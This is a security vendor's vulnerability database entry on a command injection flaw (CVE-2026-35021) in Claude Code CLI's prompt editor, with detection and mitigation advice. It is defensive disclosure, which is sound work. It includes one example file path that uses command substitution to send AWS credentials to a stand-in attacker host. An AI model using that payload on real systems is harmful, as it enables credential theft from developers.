The SentinelOne Annual Threat Report - A Defenders Guide from the FrontlinesThe SentinelOne Annual Threat ReportGet the Report
Experiencing a Breach?Blog
Get StartedContact Us
SentinelOne
  • Platform
    Platform Overview
    • Singularity Platform
      Welcome to Integrated Enterprise Security
    • AI for Security
      Leading the Way in AI-Powered Security Solutions
    • Securing AI
      Accelerate AI Adoption with Secure AI Tools, Apps, and Agents.
    • How It Works
      The Singularity XDR Difference
    • Singularity Marketplace
      One-Click Integrations to Unlock the Power of XDR
    • Pricing & Packaging
      Comparisons and Guidance at a Glance
    Data & AI
    • Purple AI
      Accelerate SecOps with Generative AI
    • Singularity Hyperautomation
      Easily Automate Security Processes
    • AI-SIEM
      The AI SIEM for the Autonomous SOC
    • Data Pipelines
      Security Data Pipeline for AI SIEM and Data Optimization
    • Singularity Data Lake
      AI-Powered, Unified Data Lake
    • Singularity Data Lake for Log Analytics
      Seamlessly Ingest Data from On-Prem, Cloud or Hybrid Environments
    Endpoint Security
    • Singularity Endpoint
      Autonomous Prevention, Detection, and Response
    • Singularity XDR
      Native & Open Protection, Detection, and Response
    • Singularity RemoteOps Forensics
      Orchestrate Forensics at Scale
    • Singularity Threat Intelligence
      Comprehensive Adversary Intelligence
    • Singularity Vulnerability Management
      Application & OS Vulnerability Management
    • Singularity Identity
      Identity Threat Detection and Response
    Cloud Security
    • Singularity Cloud Security
      Block Attacks with an AI-Powered CNAPP
    • Singularity Cloud Native Security
      Secure Cloud and Development Resources
    • Singularity Cloud Workload Security
      Real-Time Cloud Workload Protection Platform
    • Singularity Cloud Data Security
      AI-Powered Threat Detection for Cloud Storage
    • Singularity Cloud Security Posture Management
      Detect and Remediate Cloud Misconfigurations
    Securing AI
    • Prompt Security
      Secure AI Tools Across Your Enterprise
  • Why SentinelOne?
    Why SentinelOne?
    • Why SentinelOne?
      Cybersecurity Built for What’s Next
    • Our Customers
      Trusted by the World’s Leading Enterprises
    • Industry Recognition
      Tested and Proven by the Experts
    • About Us
      The Industry Leader in Autonomous Cybersecurity
    Compare SentinelOne
    • Arctic Wolf
    • Broadcom
    • CrowdStrike
    • Cybereason
    • Microsoft
    • Palo Alto Networks
    • Sophos
    • Splunk
    • Trellix
    • Trend Micro
    • Wiz
    Verticals
    • Energy
    • Federal Government
    • Finance
    • Healthcare
    • Higher Education
    • K-12 Education
    • Manufacturing
    • Retail
    • State and Local Government
  • Services
    Managed Services
    • Managed Services Overview
      Wayfinder Threat Detection & Response
    • Threat Hunting
      World-Class Expertise and Threat Intelligence
    • Managed Detection & Response
      24/7/365 Expert MDR Across Your Entire Environment
    • Incident Readiness & Response
      DFIR, Breach Readiness, & Compromise Assessments
    Support, Deployment, & Health
    • Technical Account Management
      Customer Success with Personalized Service
    • SentinelOne GO
      Guided Onboarding & Deployment Advisory
    • SentinelOne University
      Live and On-Demand Training
    • Services Overview
      Comprehensive Solutions for Seamless Security Operations
    • SentinelOne Community
      Community Login
  • Partners
    Our Network
    • MSSP Partners
      Succeed Faster with SentinelOne
    • Singularity Marketplace
      Extend the Power of S1 Technology
    • Cyber Risk Partners
      Enlist Pro Response and Advisory Teams
    • Technology Alliances
      Integrated, Enterprise-Scale Solutions
    • SentinelOne for AWS
      Hosted in AWS Regions Around the World
    • Channel Partners
      Deliver the Right Solutions, Together
    • SentinelOne for Google Cloud
      Unified, Autonomous Security Giving Defenders the Advantage at Global Scale
    • Partner Locator
      Your Go-to Source for Our Top Partners in Your Region
    Partner Portal→
  • Resources
    Resource Center
    • Case Studies
    • Data Sheets
    • eBooks
    • Reports
    • Videos
    • Webinars
    • Whitepapers
    • Events
    View All Resources→
    Blog
    • Feature Spotlight
    • For CISO/CIO
    • From the Front Lines
    • Identity
    • Cloud
    • macOS
    • SentinelOne Blog
    Blog→
    Tech Resources
    • SentinelLABS
    • Ransomware Anthology
    • Cybersecurity 101
  • About
    About SentinelOne
    • About SentinelOne
      The Industry Leader in Cybersecurity
    • Investor Relations
      Financial Information & Events
    • SentinelLABS
      Threat Research for the Modern Threat Hunter
    • Careers
      The Latest Job Opportunities
    • Press & News
      Company Announcements
    • Cybersecurity Blog
      The Latest Cybersecurity Threats, News, & More
    • FAQ
      Get Answers to Our Most Frequently Asked Questions
    • DataSet
      The Live Data Platform
    • S Foundation
      Securing a Safer Future for All
    • S Ventures
      Investing in the Next Generation of Security, Data and AI
  • Pricing
Get StartedContact Us
CVE Vulnerability Database
Vulnerability Database/CVE-2026-35021

CVE-2026-35021: Claude Code CLI OS Command Injection RCE

CVE-2026-35021 is an OS command injection vulnerability in Anthropic Claude Code CLI and Claude Agent SDK that enables remote code execution through malicious file paths. This article covers technical details, impact, and mitigation.

Published: April 10, 2026

CVE-2026-35021 Overview

Anthropic Claude Code CLI and Claude Agent SDK contain an OS command injection vulnerability in the prompt editor invocation utility that allows attackers to execute arbitrary commands by crafting malicious file paths. Attackers can inject shell metacharacters such as $() or backtick expressions into file paths that are interpolated into shell commands executed via execSync. Although the file path is wrapped in double quotes, POSIX shell semantics (POSIX §2.2.3) do not prevent command substitution within double quotes, allowing injected expressions to be evaluated and resulting in arbitrary command execution with the privileges of the user running the CLI.

Critical Impact

Arbitrary command execution with user privileges through malicious file path injection in AI development tools, potentially compromising developer workstations and CI/CD environments.

Affected Products

  • Anthropic Claude Code CLI
  • Anthropic Claude Agent SDK
  • Development environments utilizing the prompt editor invocation utility

Discovery Timeline

  • 2026-04-06 - CVE-2026-35021 published to NVD
  • 2026-04-07 - Last updated in NVD database

Technical Details for CVE-2026-35021

Vulnerability Analysis

This vulnerability is classified as CWE-78 (Improper Neutralization of Special Elements used in an OS Command), commonly known as OS Command Injection. The flaw exists in the prompt editor invocation utility within the Claude Code CLI and Claude Agent SDK. When users interact with the CLI, file paths are processed and interpolated directly into shell commands that are executed using the execSync function.

The core issue stems from insufficient sanitization of user-supplied file paths before they are passed to the shell. While the implementation wraps file paths in double quotes as a protective measure, this approach fails to prevent command injection because POSIX shell semantics explicitly allow command substitution within double-quoted strings. Specifically, POSIX §2.2.3 defines that $() syntax and backtick expressions are expanded even within double quotes.

An attacker who can control or influence the file path—whether through social engineering, malicious repositories, or compromised project configurations—can craft a path containing shell metacharacters that execute arbitrary commands when the CLI processes the file.

Root Cause

The root cause is the use of execSync with string interpolation for shell command construction without proper input sanitization. The developer assumption that double-quoting file paths would prevent command injection is incorrect under POSIX shell semantics. The proper mitigation would involve either using array-based command execution that avoids shell interpretation entirely, or implementing strict input validation that rejects or escapes shell metacharacters before interpolation.

Attack Vector

This vulnerability requires local access and user interaction. An attacker must craft a malicious file path containing shell metacharacters such as $(malicious_command) or `malicious_command`. When a user invokes the prompt editor utility with this crafted path—either directly or through a poisoned project configuration—the injected commands execute with the privileges of the user running the CLI.

Attack scenarios include:

  1. Malicious Repository Cloning: An attacker publishes a repository containing project files with crafted file paths that execute commands when developers use Claude Code CLI tools
  2. CI/CD Pipeline Compromise: In automated environments, attackers could inject malicious paths through pull requests or configuration files, leading to credential exfiltration
  3. Social Engineering: Tricking users into opening projects or files with specially crafted names

The vulnerability mechanism involves the shell interpreting command substitution expressions within double quotes. For example, a file path like $(curl attacker.com/exfil?data=$(cat ~/.aws/credentials | base64)) would execute the nested commands before the outer command completes. Technical details are available in the VulnCheck Advisory.

Detection Methods for CVE-2026-35021

Indicators of Compromise

  • Unusual process spawning from Claude Code CLI or Agent SDK processes, particularly network-related commands like curl, wget, or nc
  • File paths containing shell metacharacters ($(), backticks, |, ;) in project configurations or command history
  • Unexpected outbound network connections originating from development tool processes
  • Credential file access patterns inconsistent with normal development workflows

Detection Strategies

  • Monitor process trees for suspicious child processes spawned by Node.js processes running Claude Code CLI
  • Implement file integrity monitoring on sensitive credential stores and configuration files accessed during CLI operations
  • Deploy endpoint detection rules that alert on command substitution patterns in file path arguments
  • Analyze command-line arguments passed to shell execution functions for injection patterns

Monitoring Recommendations

  • Enable verbose logging for Claude Code CLI and Agent SDK to capture file path operations
  • Configure SIEM rules to correlate file path inputs with subsequent process creation events
  • Monitor for base64 encoding operations combined with network exfiltration attempts
  • Establish baseline behavior for Claude Code CLI processes and alert on deviations

How to Mitigate CVE-2026-35021

Immediate Actions Required

  • Review and audit any project configurations, especially those from untrusted sources, for malicious file paths containing shell metacharacters
  • Restrict usage of Claude Code CLI in automated CI/CD environments until patched versions are available
  • Implement network segmentation to limit the impact of potential command execution from developer workstations
  • Educate development teams about the risk of opening untrusted projects with AI coding tools

Patch Information

Organizations should monitor Anthropic's official channels for security updates addressing this vulnerability. Review the Phoenix Security Analysis and VulnCheck Advisory for the latest remediation guidance and patch availability information.

Workarounds

  • Implement wrapper scripts that validate file paths before passing them to Claude Code CLI, rejecting paths containing $, backticks, or other shell metacharacters
  • Run Claude Code CLI in isolated container environments with minimal privileges and no access to sensitive credentials
  • Use sandboxed execution environments that prevent network access from CLI processes
  • Temporarily disable or bypass the prompt editor invocation utility if possible, using alternative workflows
bash
# Example file path validation before CLI invocation
validate_path() {
    local path="$1"
    # Reject paths containing shell metacharacters
    if [[ "$path" =~ [\$\`\|\;\&] ]]; then
        echo "ERROR: Potentially malicious file path detected"
        exit 1
    fi
}

Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

  • Vulnerability Details
  • TypeRCE

  • Vendor/TechAnthropic

  • SeverityHIGH

  • CVSS Score8.4

  • EPSS Probability0.03%

  • Known ExploitedNo
  • CVSS Vector
  • CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
  • Impact Assessment
  • ConfidentialityLow
  • IntegrityHigh
  • AvailabilityHigh
  • CWE References
  • CWE-78
  • Technical References
  • Phoenix Security Analysis

  • VulnCheck Advisory
  • Related CVEs
  • CVE-2026-34450: Claude SDK Python Information Disclosure Flaw

  • CVE-2026-34452: Claude SDK Path Traversal Vulnerability
Default Legacy - Prefooter | Experience the World’s Most Advanced Cybersecurity Platform

Experience the World’s Most Advanced Cybersecurity Platform

See how our intelligent, autonomous cybersecurity platform can protect your organization now and into the future.

Try SentinelOne
  • Get Started
  • Get a Demo
  • Product Tour
  • Why SentinelOne
  • Pricing & Packaging
  • FAQ
  • Contact
  • Contact Us
  • Customer Support
  • SentinelOne Status
  • Language
  • Platform
  • Singularity Platform
  • Singularity Endpoint
  • Singularity Cloud
  • Singularity AI-SIEM
  • Singularity Identity
  • Singularity Marketplace
  • Purple AI
  • Services
  • Wayfinder TDR
  • SentinelOne GO
  • Technical Account Management
  • Support Services
  • Verticals
  • Energy
  • Federal Government
  • Finance
  • Healthcare
  • Higher Education
  • K-12 Education
  • Manufacturing
  • Retail
  • State and Local Government
  • Cybersecurity for SMB
  • Resources
  • Blog
  • Labs
  • Case Studies
  • Videos
  • Product Tours
  • Events
  • Cybersecurity 101
  • eBooks
  • Webinars
  • Whitepapers
  • Press
  • News
  • Ransomware Anthology
  • Company
  • About Us
  • Our Customers
  • Careers
  • Partners
  • Legal & Compliance
  • Security & Compliance
  • Investor Relations
  • S Foundation
  • S Ventures

©2026 SentinelOne, All Rights Reserved.

Privacy Notice Terms of Use

English